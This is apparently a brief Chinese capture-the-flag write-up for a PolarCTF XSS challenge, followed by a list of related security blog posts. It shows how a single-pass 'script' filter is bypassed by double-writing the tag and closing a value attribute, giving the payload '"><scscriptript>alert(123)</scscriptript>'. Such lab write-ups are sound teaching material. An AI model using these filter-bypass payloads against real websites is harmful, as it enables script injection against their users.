很明显是个XSS，尝试常规语句发现会过滤script
尝试双写
<scscriptript>alert(123)</scscriptript>
可以看到只过滤了一次<script>，但是还没有触发弹窗
我们看下源代码，发现需要对value进行闭合
那么payload如下：
"><scscriptript>alert(123)</scscriptript>
【PolarCTF】浮生日记
大方子2026-01-24 9:25
相关推荐
菩提小狗9 分钟前
每日安全情报报告 · 2026-10-04迪康coolmu1 小时前
屏幕水印与防拍照落地：从水印类型到泄密溯源的完整配置Seraphina361 小时前
DVWA(SQL Injection-High，XSS Reflected-Medium，XSS Stored-Medium）在猴站学算法15 小时前
（SQL注入学习）无回显的报错注入（Error-Based）sogw-三叶草️16 小时前
House of OrangeSeraphina3619 小时前
DVWA(SQL注入-low，medium，XSS反射-low）菩提小狗1 天前
每日安全情报报告 · 2026-10-03愤怒火龙果1 天前
AI攻防 外部资源加载利用Eason_LYC1 天前
一个公开密钥放倒一片：Apache Shiro RememberMe 反序列化漏洞剑胆凌锋2 天前
等级保护测评工程师的困境